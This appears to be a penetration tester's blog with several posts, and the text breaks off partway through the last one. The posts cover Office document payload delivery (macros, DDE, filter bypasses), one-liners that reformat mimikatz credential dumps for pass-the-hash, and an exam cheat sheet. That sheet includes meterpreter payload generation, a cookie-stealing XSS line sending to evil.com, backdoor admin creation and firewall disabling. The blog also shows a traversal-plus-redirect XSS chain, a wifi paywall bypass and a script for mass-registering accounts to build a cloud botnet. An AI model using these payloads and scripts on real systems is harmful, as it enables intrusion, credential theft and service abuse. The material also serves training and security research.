Wednesday, 1 March 2017

Office Document Macros, OLE, Actions, DDE Payloads and Filter Bypass

There are a few different ways payloads can be delivered through Microsoft Office documents, including macros, OLE embedding, Addins, Actions and DDE. To make life easier I wanted to list them all together in one place. A lot of what is mentioned below is specific to Word, Excel or Powerpoint however don't forget that Office actually includes, Word, Excel, Powerpoint, Access, Outlook and OneNote. If a vector doesn't work in one product, try another.

When testing any of the below remember that Office may require basic user interaction to either "Enable Editing" for documents from the internet or "Enable Content" for active content.


Macros

Macros are probably the most well-known method for abusing Office documents. Essentially Office allows users to include VBScript to add dynamic functionality however there are no restrictions on this functionality. Simple payloads will execute a single process e.g. powershell, more advanced payloads will load WinAPI functions to inject code into memory without ever launching additional processes.

So how do you get your VBScript to load? Well Word provides two useful functions AutoOpen() and Document_Open() that can be used to automatically launch a payload when a document is opened. These functions will work in .doc .docm  and dotm, but not docx.

In Excel you can use Workbook_Open() but as with Word you'll need to use an xlsm file. An example payload is shown below:

Private Sub Workbook_Open()
Msgbox "test macro"
CreateObject("Wscript.Shell").Run "calc"
End Sub

A nice real-world macro and OLE example using Empire is linked below:

https://enigma0x3.net/2016/03/15/phishing-with-empire/

Instead of embedding the payload directly in the current document you can also use templates/addins. So although the current document may not contain anything malicious if the template/addin does then it will still execute.


ActiveX Components

Aside from the standard macro launching functions (AutoOpen etc.), Word/Excel/Powerpoint also support ActiveX "Controls" and "Fields" which can be used to either automatically launch macros or trick users into executing macros. Basic options include buttons and images, more exotic options include frames and the built-in Microsoft browser.

There's a great overview of ActiveX controls at the link below:

https://www.greyhathacker.net/?p=948

The "Fields" function in Word (Insert -> QuickParts -> Field) is another interesting vector, in particular the Link and MacroButton functions offer ways to embed/activate content.


OLE Embedding

After Macros the next most interesting Office feature is probably OLE embedding. By default Office allows users to embed external content in documents. This can be used to insert pictures, videos or other documents within the current document. What's awesome is that you can also just insert a binary or a malicious script. This works across Word, Excel and Powerpoint.

To insert an object select "Insert" -> "Object":


All the user has to do is double click the embedded content and you get a shell.


Powerpoint Actions

Powerpoint is obviously designed for presentations and most people are familiar with transitions, (making memes fly in and out). But what you may not know is that Powerpoint supports OnClick and OnMouseOver "Actions". What are actions? Well anything you like, they basically allow you to execute a process of your choosing including arguments. The one limitation with this vector is that the user needs to view the slides in presentation mode, so you'll need to add some text telling the user to press F5.



An in-the-wild example that used an action to load an embedded payload is linked below:

https://phishme.com/powerpoint-and-custom-actions/


Dynamic Data Exchange

DDE (dynamic data exchange) is a semi-legacy Windows feature used for displaying data from external data sources in your current document. Sounds reasonable enough right? Well the issue with this functionality is that it allows you to not just call external documents but also processes and you can supply command line arguments too. So another very hackable feature.

The formula below can be used to test in Excel, this works in both xls and xlsx:

=cmd|'/c calc'!A0

Remember that as well as =, Excel also supports the use of + - @ characters at the start of a formula.

You can also view/edit the DDE XML directly by opening your document with 7zip:

<ddeLink xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" 
ddeService="cmd" ddeTopic="/c calc">
<ddeItems>
<ddeItem name="A0" advise="1"/>
<ddeItem name="StdDocumentName" ole="1" advise="1"/>
</ddeItems></ddeLink>

A real-world example exploiting this issue can be found below:

https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/’

It's worth mentioning that I couldn't find a way to execute DDE in Word or Powerpoint. I'd be interested to know if this is possible or not.


Filter Bypasses

Many companies/products will filter content based on either the extension or content-type of a file. Lucky for us Office has many different formats that will modify the appearance of our payload but not the action of the payload.

To experiment with such bypasses take a look at the "Save As" supported formats. In Word/Excel/Powerpoint you'll see there are many different output formats.



You can use the different formats on their own or try renaming the extension back to doc/ppt/xls. In most instances the payload will still execute despite having the content modified.

Two common bypasses include:
  • Word doc saved as XML then renamed to doc
  • Word doc saved as MHTML then renamed to doc
For Excel formula filter bypass, Excel did used to support an "Evaluate" function so you could spread a command over multiple cells, concatenate and then evaluate (execute) the statement. This was unfortunately removed so can no longer be used maliciously. The other major limitation with Excel is you can't execute Macros directly from formulas (afaik!)


Further Research

  • The "Fields" as well as the "Data Source/DB" feature in Word have multiple potentially interesting functions. I couldn't find a way to exploit them, maybe you can?
  • In Office hyperlinks are quite interesting as they let you link to local files however you can't supply arguments. It would be interesting to see if args could be supplied somehow or links abused in another way.


Final Thoughts

Microsoft Office provides multiple different ways to execute code. There are still quite a few features that I feel could be exploited with more research and given how commonly used Office documents are for payload delivery I can imagine we'll see more vectors in the future.

I didn't mention prevention/detection above but from a defensive point ideally you want to block any email attachments containing a Macro or OLE. For detection it's relatively easy to spot suspicious child processes (cmd/powershell/wscript etc.) coming from Office, direct to WinAPI stuff is more complex to detect but not impossible with the right tools.

Hope you guys have found this useful, if I missed anything obvious out let me know in the comments below.

Pwndizzle out.

Tuesday, 30 August 2016

Random String Python Text Classifier Example

In this post I'm going to explain how to write a simple NaiveBayes text classifier in Python and provide some example code.

Machine Learning!? Awesome!!1!

My original goal was to tell the difference between regular dictionary words and random strings. I looked at using manual ngram frequency analysis and this partially worked but I wanted to try out an ML solution for comparison.

I don't have much ML experience but it was easy to build a working script using the scikit library. This library abstracts away much of the mathematical complexity and offers a quick and high level way to implement ML concepts. In just a few lines of python I was able to build a classifier with 93% accuracy.

It's worth mentioning I did not use the "bag of words" approach as I was looking at analysing the structure of individual words as opposed to sentences. Changing the CountVectorizer parameters you could look at sentences or groups of words.

Building a Classifier

Building a classifier is quite simple, you just need to collect your data, format it, vectorize it, then train your model. In my script below I pretty much follow that process. First up I read in some data using pandas. I have two csv data sets, one file has normal dictionary words, the other random words. Each row contains the type, 0 or 1 (normal or random), and then the data which is just a word. For example:

normal.csv random.csv
0,apple 1,fdsgsdgfdg
0,banana 1,plicawq
0,orange               1,mncdlppl

In each file I used the first 5000 words for training and the last 5000 for testing. To vectorize the words I used the CountVectorizer with the ngram function, this breaks the words up based on their ngrams and converts them to numbers.

With the data ready I used the "fit" function to train the classifier with the training data set. To measure the accuracy of the model I used the "score" function and test data set. And finally to manually test some values I used the "predict" function. In the end my classifier could function with a 93% accuracy which I thought was pretty good considering I made hardly any customisations.

I used the Multinomial Naive Bayes function as this was recommended however other algorithms may work more effectively. The classifier and vectorizer also support a number of additional parameters that can be adjusted to improve the accuracy, I modified them only slightly, further improvements could likely be made here as well.

The Code

The following requires Python 2.7, scikit, pandas and also the two csv files containing data as described above.

from sklearn.feature_extraction.text import CountVectorizer
from sklearn.naive_bayes import MultinomialNB
import pandas as pd
from time import time

#Start timer
t0 = time()

#Create classifier and vectorizer
clf = MultinomialNB(alpha=0.1)
vec = CountVectorizer(analyzer='char_wb', ngram_range=(2, 4), min_df=1)

#Read in wordset and vectorize words
#Training data
train_set = pd.concat(pd.read_csv(f, names=["type","word"], nrows=5000) for f in ["normal.csv","random.csv"])
train_types = train_set.type.tolist()
train_words = vec.fit_transform(train_set.word.tolist())

#Test data
test_set = pd.concat(pd.read_csv(f, names=["type","word"], skiprows=5000, nrows=5000) for f in ["normal.csv","random.csv"])
test_types = test_set.type.tolist()
test_words = vec.transform(test_set.word.tolist())

#Train classifier
clf.fit(train_words, train_types)
train_time = time() - t0
print("Training time: %0.3fs" % train_time)

#Use test data to evaluate classifier
print "Accuracy is " + str(clf.score(test_words, test_types))
test_time = time() - train_time - t0
print("Testing time: %0.3fs" % test_time)

#Classify words
testdata = ['xgrdqwlpfrr','apple']
print testdata
print clf.predict(vec.transform(testdata))

predict_time = time() - test_time - train_time - t0
print("Predict time: %0.3fs" % predict_time)


Running the script should give you something like the following:


Scikit Tips

If you're trying to install scikit in windows you'll need to install the relevant .whl package. In Linux I had to upgrade pip before it would install.


Final Thoughts

I was amazed how quick and easy it was to write a simple classifier, machine learning has definitely gone mainstream. I focused on finding the difference between normal and random strings however classifiers can be used to tell the difference between all kinds of data sets.

Obviously being a security blog you may be wondering why I'd be looking into text classifiers. Well when analysing data to detect attackers you'll often want to classify various activity. Performing analysis with a classifier can give some interesting results :)

Hope you guys have found this useful, any questions or comments, leave a message below.

Pwndizzle out.

Tuesday, 27 October 2015

Parse Mimikatz Output One-Liner

Love mimikatz but hate the output? Yeah me too. In this post I'll show you how to parse the output with one simple line.

The Output

Running either the mimikatz binary or powershell equivalent Invoke-Mimikatz will give you output similar to the following:
Authentication Id : 0 ; 92831308 (00000000:05889d8c)
Session           : RemoteInteractive from 3
User Name         : john.smith
Domain            : ACME
SID               : S-1-5-21-2052118978-2816230894-3584936141-8335
 msv : 
  [00000003] Primary
  * Username : john.smith
  * Domain   : ACME
  * NTLM     : 1acd1a77416c50969d66867cd1e27e91
  * SHA1     : fc1a13cdf5e6d8da249812b320764fbaac0cb1bb
  [00010000] CredentialKeys
  * NTLM     : 1acd1a77416c50969d66867cd1e27e91
  * SHA1     : fc1a13cdf5e6d8da249812b320764fbaac0cb1bb
 tspkg : 
 wdigest : 
  * Username : john.smith
  * Domain   : ACME
  * Password : Myl0ngs3cretP@ssword
 kerberos : 
  * Username : john.smith
  * Domain   : ACME.mycompany
  * Password : (null)
 ssp : 
 credman : 
In most situations you'll often just want to know the users and passwords however this is hidden among a whole load of other output. Now we could go and patch the mimikatz code or we could use a cheeky one-liner...


I Love A One-Liner

My goal was to obtain a list of all usernames with domains and passwords from a set of mimikatz output files. This is simple to do with the following one-liner:
cat *|tr -d '\011\015' |awk '/Username/ { user=$0; getline; domain=$0; getline; print user " " domain " " $0}'|grep -v "* LM\|* NTLM\|Microsoft_OC1\|* Password : (null)"|awk '{if (length($12)>2) print $8 "\\" $4 ":" $12}'|sort -u

Parsing the example above you get the following:
ACME\john.smith:Myl0ngP@ssword
jira.acme.com\john.smith@acme.com:Myj1raP@ssword

Hows it work?
  • I start by outputting all files in the current directory and removing carriage return characters as these seemed to break awk. I also remove tab characters to clean up the output.
  • Next up I used awk to effectively put the username, domain and password all on the same line. This makes greppping, cutting or more awking easier.
  • I used grep to remove lines I didn't care about. For example NTLM hashes and null passwords.
  • I then did a final awk to remove hex string passwords. I'm not sure how/why mimikatz generates this output, if anyone knows please leave a comment! :)
  • And finally I sorted and uniqued the list.

I modified the one-liner to also output just the usernames and passwords without the domain:
cat *|tr -d '\011\015' |awk '/Username/ { user=$0; getline; getline; print user " " $0}'|grep -v "* LM\|* NTLM\|Microsoft_OC1\|* Password : (null)"|awk '{if (length($8)>2) print $4 ":" $8}'|sort -u
john.smith:Myl0ngP@ssword
john.smith@acme.com:Myj1raP@ssword
And also output usernames and NTLM hashes ready for use with pth-winexe:
cat *|tr -d '\011\015' |awk '/Username/ { user=$0; getline; domain=$0; getline; print user " " domain " " $0}'|grep -v "* LM\|* Password\|Microsoft_OC1"|awk '{if (length($12)>2) print $8 "/" $4 "%aad3b435b51404eeaad3b435b51404ee:" $12}'|sort -u
ACME/john.smith%aad3b435b51404eeaad3b435b51404ee:1acd1a77416c50969d66867cd1e27e91
If you want a different output format just modify the final print statement.


Final Thoughts

Mimikatz is such an awesome tool unfortunately the default output is not that user/grep friendly. Luckily with a simple one-liner we can easily work the output into something more useful. As mentioned in my smb-share enumeration post, don't be afraid to jump in and learn some grep/awk/sed, these tools can speed up data analysis massively!

Hopefully this post has been useful, if you have any suggestions for improvements or better ways to get usable output then leave a comment below.

Pwndizzle out.

Thursday, 23 July 2015

XSS, Extensions and Content-Types

In this post I'll look at which Content-Types and Extensions can actually be used for XSS in modern browsers.


Why does Content-Type and Extension matter?

Applications come in many different shapes and sizes and XSS can occur all over the place. It's easy to assume that just because an application returns you a response with unfiltered/unencoded output you've found an exploitable XSS issue but this is often not the case. Browsers render content based on a number of factors including content-type returned by the server, page content and page extension, without the correct combination XSS won't be possible.

To try and get a definitive answer of what works and what doesn't I thought I'd do some testing. I used multiple file types each containing their legitimate content however I also embedded a JavaScript alert payload in each. Each test case was ran against Chrome 43, IE 11 and Firefox 39. In the tables below "yes" means the payload rendered and "no" means it didn't.


Test #1 - Following Best Practice

In the first test I forced the server to return the correct extension and content-type for each test page.


Content-Type
Extension Chrome IE Firefox
None None yes yes yes
text/plain txt no no no
text/html html yes yes yes
application/javascript js no no no
application/json json no no no
application/xml xml yes yes yes
text/css css no no no
image/jpeg jpeg no no no

Following best practice modern browsers appeared to be pretty secure. The one exception appears to be XML, it seems odd that the browser would allow the rendering of JavaScript in an XML file.


Test #2 - Modifying Extension

In the second test I made the server return the correct content-type but forced a .html extension.

Content-Type
Extension Chrome IE Firefox
None html yes yes yes
text/plain html no no no
text/html html yes yes yes
application/javascript html no yes no
application/json html no no no
application/xml html yes yes yes
text/css html no no no
image/jpeg html no no no

This test seemed to show that browsers will prioritize the use of the content-type over the extension.


Test #3 - Using a text/html Content-Type

In the third test I used the correct extension for each file but made the server return a text/html content-type.

Content-Type
Extension Chrome IE Firefox
text/html None yes yes yes
text/html txt yes yes yes
text/html html yes yes yes
text/html js yes yes yes
text/html json yes yes yes
text/html xml yes yes yes
text/html css yes yes yes
text/html jpeg yes no yes

It looks like browsers rely heavily on the content-type returned by the server. It doesn't matter about the extension or contents of the file, the browser will blindly follow the content-type returned.


Test #4 - Using a text/plain Content-Type

Next I used the correct extension for each file but made the server return a text/plain content-type.

Content-Type
Extension Chrome IE Firefox
text/plain txt no no no
text/plain html no no no
text/plain js no no no
text/plain json no no no
text/plain xml no no no
text/plain css no no no
text/plain jpeg no no no

When using a content-type of text/plain none of the payloads executed. I can't remember for sure, but I believe in the past text/plain used to allow XSS? Looks like this is no longer possible.


Test #5 - MIME sniffing

In this last test case I accessed a page that had no extension and received no content-type header from the server. This should have caused the browser to fall back on mime sniffing to render the page.

MIME
Content-Type Extension Chrome IE Firefox
text/plain None None no yes no
text/html None None yes yes yes
application/javascriptNoneNone yes yes yes
application/json None None no yes no
application/xml None None no yes no
text/css None None no yes no
image/jpeg None None no no no

Both Chrome and Firefox refused to render pages that contained additional non-html content. IE however didn't seem to care what the page content was, if it contained HTML it rendered!

Conclusion

Performing application testing on a regular basis I find content-type and extension XSS issues arise quite a lot. This test showed that modern browsers are relatively secure as long as the correct content-type is returned. All browsers also seemed to implement the same analysis techniques aside from IE which seemed slightly more permissive.

Hopefully you guys have found this post useful, if anyone has any suggestions for bypasses to achieve XSS in any of the above, or if I've listed any findings incorrectly (quite possible) drop me a message below :)

Pwndizzle out.

Thursday, 30 April 2015

Wednesday, 31 December 2014

CREST CRT Exam Preparation

I'm going to be taking the CREST CRT exam in January and wanted to share my preparation notes with the world to save everyone else the time and effort of digging up this information to pass the exam.

Note: I have not taken the exam yet, I do not know the answers and am in no way affiliated with CREST.
Note Note: I passed the exam. Due to confidentiality reasons I can't provide any hints I will however leave this post up to assist future participants :)

What have we gota do? 

First things first, the official CREST site and CRT page is here:
http://www.crest-approved.org/information-security-testers/registered-tester/index.html

To quote the official documentation - "The Certification Examination has two components: a multiple choice written question section and a practical assessment which is also examined using multiple choice answers. The practical assessment tests candidates’ hands-on penetration testing methodology and skills against reference networks, hosts and applications."

For the "written question" section I'd recommend Wikipedia or some SANS/CEH material. For the practical side of things see below.


Getting hands-on!

My goal during the practical exam is to be as quick and efficient as possible. I want to minimize time spent analyzing results, configuring tools or writing custom stuff and maximize time spent answering questions! I plan to use a Windows box with Kali Linux VM. Below is my full list of tools and one-liners:

RECON AND ENUMERATION

CommandDescription
nmap -T4 -A -Pn -oA scan -v 192.168.1.1-254Full scan
for i in 21 22 23 80 443 445;do cat scan.gnmap|grep " $i/open"|cut -d " " -f2 > $i.txt;doneParse results into txt files per port
nmap -T4 -v -oA myshares --script smb-enum-shares --script-args smbuser=pwndizzle,smbpass=mypassword -p445 192.168.1.1-254Check for open shares
dig axfr example.com @ns1.example.comDNS zone transfer (Linux)
tcp.port, tcp.srcport, ip.src, ip.dst, or, andWireshark syntax
tcpdump tcp port 80 -w output.pcap -i eth0Tcpdump syntax
mount 192.168.1.1:/share /mnt/nfsMount an NFS share
mount -o nolock -t nfs -o proto=tcp,port=2049 172.16.1.1:/ /mntMount an NFS share
mount -t cifs -o username=<user>,password=<password>,domain=example.com //WIN_PC_IP/<share name> /mnt/windowsMount a Windows share
net use x: \\filesvr001\folder1 <password> /user:domain01\jsmith /savecred /p:noMount a Windows share
net use \\<target>\IPC$ "" /u:""Null session
rpcclient -U "" <target>Null session
enum4linux.pl 192.168.1.20Retrieve domain info
onesixtyone -c names -i snmphostsSNMP enum
snmpcheck -t 172.10.1.1 -c publicSNMP enum
nslookup -> set type=any -> ls -d <domain>DNS zone transfer (Windows)
nmap --script=smb-check-vulns --script-args=unsafe=1 -p445 <host>SMB vuln scan



METASPLOIT

CommandDescription
use auxiliary/scanner/http/dir_scannerScan for directories
use auxiliary/scanner/http/jboss_vulnscanJBoss scan
use exploit/multi/http/jboss_maindeployerJBoss deploy
use auxiliary/scanner/mssql/mssql_loginMSSQL cred scan
use exploit/windows/mssql/mssql_payloadMSSQL payload
use auxiliary/scanner/mysql/mysql_versionMySQL version scan
use auxiliary/scanner/mysql/mysql_loginMySQL login
use auxiliary/scanner/oracle/oracle_loginOracle login
use exploit/windows/dcerpc/ms03_026_dcomeazymode
use exploit/windows/smb/ms06_040_netapieazymode
use exploit/windows/smb/ms08_067_netapieazymode
use exploit/windows/smb/ms09_050_smb2_negotiate_func_indexeazymode
run post/windows/gather/win_privsShow privs of current user
use exploit/windows/local/bypassuac (check if x86/64 and set target)Bypass uac on win7+
load mimikatz -> wdigestDump creds
load incongnito -> list_tokens -> impersonate_tokenUse tokens
use post/windows/gather/credentials/gppGPP
run post/windows/gather/local_admin_search_enumTest other machines
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=4445 R | msfencode -t exe -e x86/shikata_ga_nai -c 5 > custom.exeStandalone meterpreter
use exploit/multi/script/web_deliveryPowershell payload delivery
post/windows/manage/powershell/exec_powershellUpload and run a PS script through a session
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.1.3.19 LPORT=4444 -a x86 -f exe -e x86/shikata_ga_nai -b '\x00' -i 3 > meter.exeGenerate standalone payload



WINDOWS COMMANDS

https://docs.google.com/document/d/1U10isynOpQtrIK6ChuReu-K1WHTJm4fgG3joiuz43rw/edit

ipconfig /all
Displays the full information about your NIC’s.
ipconfig /displaydns
Displays your local DNS cache.
netstat -nabo
Lists ports / connections with corresponding process (-b), don’t perform looking (-n), all connections (-a) and owning process ID (-o)
netstat -r
Displays the routing table

netstat -anob | findstr “services, process or port”
The “b” flag makes the command take longer but will output the process name using each of the connections.
netsh diag show all
{XP only} Shows information on network services and adapters
net view
Queries NBNS/SMB (SAMBA) and tries to find all hosts in your current workgroup or domain.
net view /domain
List all domains available to the host
net view /domain:otherdomain
Queries NBNS/SMB (SAMBA) and tries to find all hosts in the ‘otherdomain’
net user %USERNAME% /domain
Pulls information on the current user, if they are a domain user. If you are a local user then you just drop the /domain. Important things to note are login times, last time changed password, logon scripts, and group membership
net user /domain
Lists all of the domain users
net accounts
Prints the password policy for the local system. This can be different and superseded by the domain policy.
net accounts /domain
Prints the password policy for the domain
net localgroup administrators
Prints the members of the Administrators local group
net localgroup administrators /domain
as this was supposed to use localgroup & domain, this actually another way of getting *current* domain admins
net group “Domain Admins” /domain
Prints the members of the Domain Admins group
net group “Enterprise Admins” /domain
Prints the members of the Enterprise Admins group
net group “Domain Controllers” /domain
Prints the list of Domain Controllers for the current domain
net share
Displays your currently shared SMB entries, and what path(s) they point to
net session | find / “\\”

arp -a
Lists all the systems currently in the machine’s ARP table.
route print
Prints the machine’s routing table. This can be good for finding other networks and static routes that have been put in place
whoami
View the current user
tasklist /v
List processes
taskkill /F /IM "cmd.exe"
Kill a process by its name
net user hacker hacker /add
Creates a new local (to the victim) user called ‘hacker’ with the password of ‘hacker’
net localgroup administrators hacker /add
Adds the new user ‘hacker’ to the local administrators group
net share nothing$=C:\ /grant:hacker,FULL /unlimited
Shares the C drive (you can specify any drive) out as a Windows share and grants the user ‘hacker’ full rights to access, or modify anything on that drive.

One thing to note is that in newer (will have to look up exactly when, I believe since XP SP2) windows versions, share permissions and file permissions are separated. Since we added our selves as a local admin this isn’t a problem but it is something to keep in mind
net user username /active:yes /domain
Changes an inactive / disabled account to active. This can useful for re-enabling old domain admins to use, but still puts up a red flag if those accounts are being watched.
netsh firewall set opmode disable
Disables the local windows firewall

wmic useraccount get name,sid     -  Retrieve name and sid from command line.


LINUX COMMANDS

CommandDescription
apt-get install finger rsh-client jxplorer sipcalcFinger not installed in Kali by default
apt-get install rsh-clientR-tools not installed in Kali by default
uname -aKernel version
cat /etc/<distro>-releaseRelease version
showrev -pRevision
rlogin -l <user> <target>rlogin
rsh <target> <command>rsh
find / -perm +6000 -type f -exec ls -ld {} \; > setuid.txt &Find setuid binaries
finger <username>@<ip>Retrieve user info
mysql -h <ip> -u <user> -p <password>Connect to mysql
oscanner -s <ip> -r <repfile>Oracle scanner


PASSWORD GUESSING

CommandDescription
hydra -L users -P passwords -M 21.txt ftpBrute ftp
hydra -L users -P passwords -M 22.txt sshBrute ssh
hydra -L users -P passwords -M 445.txt smbBrute smb

User List
root
admin
administrator
manager
crest
crt
user


PASSWORD CRACKING

CommandDescription
john --wordlist=/usr/share/wordlists/rockyou.txt hashesJTR default


WEB APP

CommandDescription
document.write('<img src="http://evil.com/x.gif?cookie=' + document.cookie + '" />)XSS steal cookie
sqlmap -u <target> -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/test.php"Targeted scan
sqlmap -u http://example.com --forms --batch --crawl=10 --cookie=jsessionid=12345 --level=5 --risk=3Automated scan

Wednesday, 26 November 2014

Traversal to Redirect to Remote JS XSS

I recently came across an interesting snippet of Javascript that looked exploitable but the path to exploitation wasn't that obvious. This post will be about how I achieved a working XSS.


The Code

The vulnerable page was loaded with a URL something like this:
https://app.test.com/timezone?c=test
And contained Javascript looking something like this:
var country = location.search.slice(3);
var s = document.createElement('script');
var src = '/js/timezone-js/timezone-data[' + country + '].min.js';
s.src = src;
document.getElementsByTagName('head')[0].appendChild(s);

Can you spot how to exploit it? :)

============================================

In a nutshell the JS appends a new <script> element to the <head> element. The user is able to modify the country part of the script element as this is retrieved from the URL parameter "c".

Once the above script runs you end up with something like:
<script src="/js/timezone-js/timezone-data[test].min.js"></script>
So how can we exploit this?


From Text to Traversal

In terms of regular inline XSS there are two potential injection points, either directly in the JS or within the HTML output. In this instance neither work because of the way the input is handled and encoding.

We can however use path traversal to load any JS file on the server. For example, to load a legitimate file with traversal we could do this:
https://app.test.com/timezone?c=/../../../js/timezone-js/timezonedata[UK.min.js]?

But we still have no way to load our own JS...or do we?


From Traversal to Dead End?

The easiest way to get JS execution from the traversal would have been to locate an upload feature or error message on the same domain that allowed the user to control the first few bytes of the response. This would have allowed the inclusion of a JS payload that could have been accessed through the traversal.

For example:
https://app.test.com/timezone?c=/../../../../uploads/file?
Unfortunately I couldn't find such a place....but I did have an open redirection I could play with.


From Redirection to JS

The open redirection was pretty standard something like:
https://app.test.com/accounts/logout/?next=https://badguy.com
Open redirection is often classed as medium/low risk but in this instance it was the final piece of the XSS puzzle as it would allow us to redirect a browser offsite to grab remote JS.

Combining the traversal and redirection the complete attack URL was:
https://app.test.com/timezone?c=/../../../../accounts/logout/?next=https://badguy.com/script.js?

Which would cause the in-page JS to create a script tag that would load our malicious remote JS:
<script src="/../../../../accounts/logout/?next=https://badguy.com/script.js?].min.js"><script>


Congratulations you've achieved XSS by loading remote JS from traversal and redirection!


The Fix

I definitely think this functionality could have been handled in a cleaner way using server-side code. A quick fix though would have been to whitelist the country parameter to prevent path traversal.
country = country.replace(/[^\w\-]/g, '');


Final Thoughts

I really enjoyed exploiting this issue as it involved stringing multiple flaws together to achieve a working XSS which at first glance didn't seem possible. I guess the moral of the story is always think outside the box and don't write sloppy Javascript :)

If you have any questions or feedback just drop me a comment below. Pwndizzle out.

Wednesday, 22 October 2014

Boingo Hotspot Bypass Analysis

In this post I'll take a look at what seems to be a bypass vulnerability in the current version of Boingo hotspot that allows anyone to access free wifi.


Boing-what-go?

While waiting for my plane at JFK airport I thought I'd check for free wifi, scanning the local area I saw an AP called "Boingo hotspot" and decided to give it a go.


However after connecting to the access point I found out Boingo was a pay only wifi service and all my requests were being redirected to the Boingo site.

https://www.boingohotspot.net/ResponsivePreroll.aspx?lang=en&SCC=CCGJFK001

Looking over the site I came across the "Good Stuff" feature which appeared to allow access to a small number of whitelisted sites for free. However after visiting one of the Good Stuff links I somehow gained full unrestricted internet access...

Googling this feature it turns out the flaw had already been discovered and publicly disclosed. No where however explained how the flaw worked. Lets take a look.


Secret to the Good Stuff

The Good Stuff feature, in theory, provides access to a small selection of whitelisted sites. For example:


Behind each of those buttons is an interesting looking link, something like this:

https://www.boingohotspot.net/ClickCapture.aspx?linkID=BoingoSponsorship&promoId=BIP000000000108&promocode=JFKTheGoodStuff&redirectURL=http://www.imdb.com/

It turns out the promoId/promocode function as a kind of username/password and once the link is clicked an authentication process is kicked off. Roughly something like this:

1. After clicking the link the server will return a sessionID ("s"), which is then sent with the promoid/promocode to retrieve temporary credentials.

https://www.boingohotspot.net/SponsorInternalBoingoRadius.aspx?campaignType=0&s=bnagn1j42rohtxvlzqhq1qgg&promoId=BIP000000000108&promocode=JFKTheGoodStuff

2. The temporary username and password received are then submitted to login.aspx in a POST request. Notice that the temporary username includes my MAC address, promocode, airport, terminal and a suspicious password-like string "bwpromo!1".

username=boingo/bwpromo!1|C01885DBFED1|0|0|0|Promo|0|BIP000000000108|jfk|term7|0|1412015104&password=ee0472ab2c647b2f77322257642b876bc346a3eb4dcaeef52a792f15fff6241c&domain=&dst=https://www.boingohotspot.net/

3. Once the login request completes, your ip should have been added to the allowed list and you can now browse the full internet!


https://www.boingohotspot.net/welcome.aspx?username=boingo/bwpromo!1|C01885DBFED1|0|0|0|Promo|0|BIP000000000108|jfk|term7|0|1412015104&logoutURL=http://jfk-t7.boingohotspot.net/logout


What the heck is going on?

The main issue is that whitelist restrictions for "Good Stuff" users are simply not enforced. There should be some server-side mechanism that is monitoring and filtering http requests to only allow content from whitelisted sites, this seems to be missing or at least was not enabled.

Also I'm not too sure why they included an authentication process for the free content. For paying customers authentication makes sense but for free content it shouldn't be needed. Tracking users is one possibility but this could have been done with cookies, headers or POST requests.


Final thoughts

With only an hour to spare before my flight it was a shame I didn't have longer to play with the Boingo hotspot. When you come across issues as bizarre as this you just know there are more security holes just lurking below the surface :)

Thanks for reading, feedback and questions are welcome, just drop me a comment below.

Wednesday, 10 September 2014

Building a Cloud Botnet on Parse.com

Today I'm going to talk about Parse.com and a trial account feature that allowed me to build a cloud botnet.

Parse is a cloud based app service that lets you deploy and run your app code in the cloud making building and maintaining apps easier. Facebook bought the company in 2013 and with it being eligible for the bounty program I thought I'd take a look for security issues.


Want a free account?

Parse offer free trial accounts with 20GB storage, 2TB traffic per month, a maximum of 30 requests/sec and the ability to run one process at a time for a maximum of 15 seconds before it's killed.

The stats above are for one account, but how about if we sign up for two accounts? Well that would effectively double all my quotas. How about a hundred, thousand or a million accounts? I could massively increase my limits and cause all kinds of mischief.

Taking a look at the registration page (in 2013) there was no hardening at all. Account registration was as simple as sending this POST request:


In 2013 no email verification was required, no CSRF token, no captcha, no throttling. The security team had basically missed the registration page. One year later, email verification is still not required. A CSRF header is now required and so is a session cookie. But there still isn't any anti-automation so anyone could register a million trial accounts.


Building my army

In 2013 it was easy to register accounts by just using Burp Intruder to send multiple registration POST requests. Because of the new session/CSRF requirements in 2014 I created a python script to perform registration.

The script will connect to Parse, grab session info and CSRF header, register an account, register an app for that account then grab the API keys which we'll need to communicate with our bots.

My account creation script:
import requests
import re
from random import randint

for i in xrange(0,100,1):
    user = "blahblah" + str(randint(100,999))
    print user

    print "[+] Getting Parse main page"    
    s = requests.Session()
    r = s.get('https://parse.com')
    global csrf;
    csrf = re.findall('[a-zA-Z0-9+/]{43}=', r.text);
    print "-----CSRF Token: " + csrf[0]
    s.headers.update({'X-CSRF-Token': csrf[0]})

    print("[+] Posting registration request");
    payload = {'user[name]':user, 'user[email]':user+'@test.com', 'user[password]':'password1'};
    r = s.post('https://parse.com/users', params=payload)
    print r.status_code

    print("[+] PUTing new app name");
    s.headers.update({'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8'})
    payload = {'user[company_type]':'individual','parse_app[name]':'blahblahblah'+str(randint(100,999))};
    r = s.put('https://parse.com/account', params=payload);
    print r.status_code

    print("[+] Grabbing keys");
    r = s.get('https://parse.com/account/keys');
    print r.status_code
    print user +':'+ str(keys[0]).replace('<input type="text" value="','') + ':' + str(keys[5]).replace('<input type="text" value="','')


Using the Parse tools to deploy code

There are two ways to deploy code either using the Parse tool (a packaged python script) or directly through the API (api.parse.com/1/deploy). Directly connecting to the API is the cleaner option but it would have taken me a while to reverse the Parse tool and extract the integrity check code. To save time I just used the Parse tool as is. To use the tool though you need to create a project locally and add your apps before you can deploy code.

Create a new project:
parse new parsebotnet

Add every app locally:
#!/usr/bin/expect -f
for {set i 1} {$i < 101} {incr i 1} {
set timeout -1
spawn parse add
expect "Email:*"
send -- "test$i@test.com\r"
expect "Password:*"
send -- "test$i\r"
expect "Select an App:"
send -- "1\r"
send -- "\r"
}

You can then grep the appids and keys from the global.json settings file:
cat global.json|grep applicationId|cut -d "\"" -f4 > appid
cat global.json|grep masterKey|cut -d "\"" -f4 > keys

To send code to Parse you just put code in the cloud folder on your local machine and run the deploy command. I started off by putting the helloworld program in main.js:
Parse.Cloud.define("hello", function(request, response) {
  response.success("Hello world!");
});

And uploaded it to every bot using a bash for loop:
#!/bin/bash
for i in {1..100};do echo "Job#$i";parse deploy testapp1$i & done;

Not the cleanest approach but the Parse tool does all of the leg work.


Running Code

With the bot accounts created and code uploaded I could call the API and have the bots actually run my code. The simple approach was just using Curl:
#!/bin/bash

eof=0
exec 5<appid
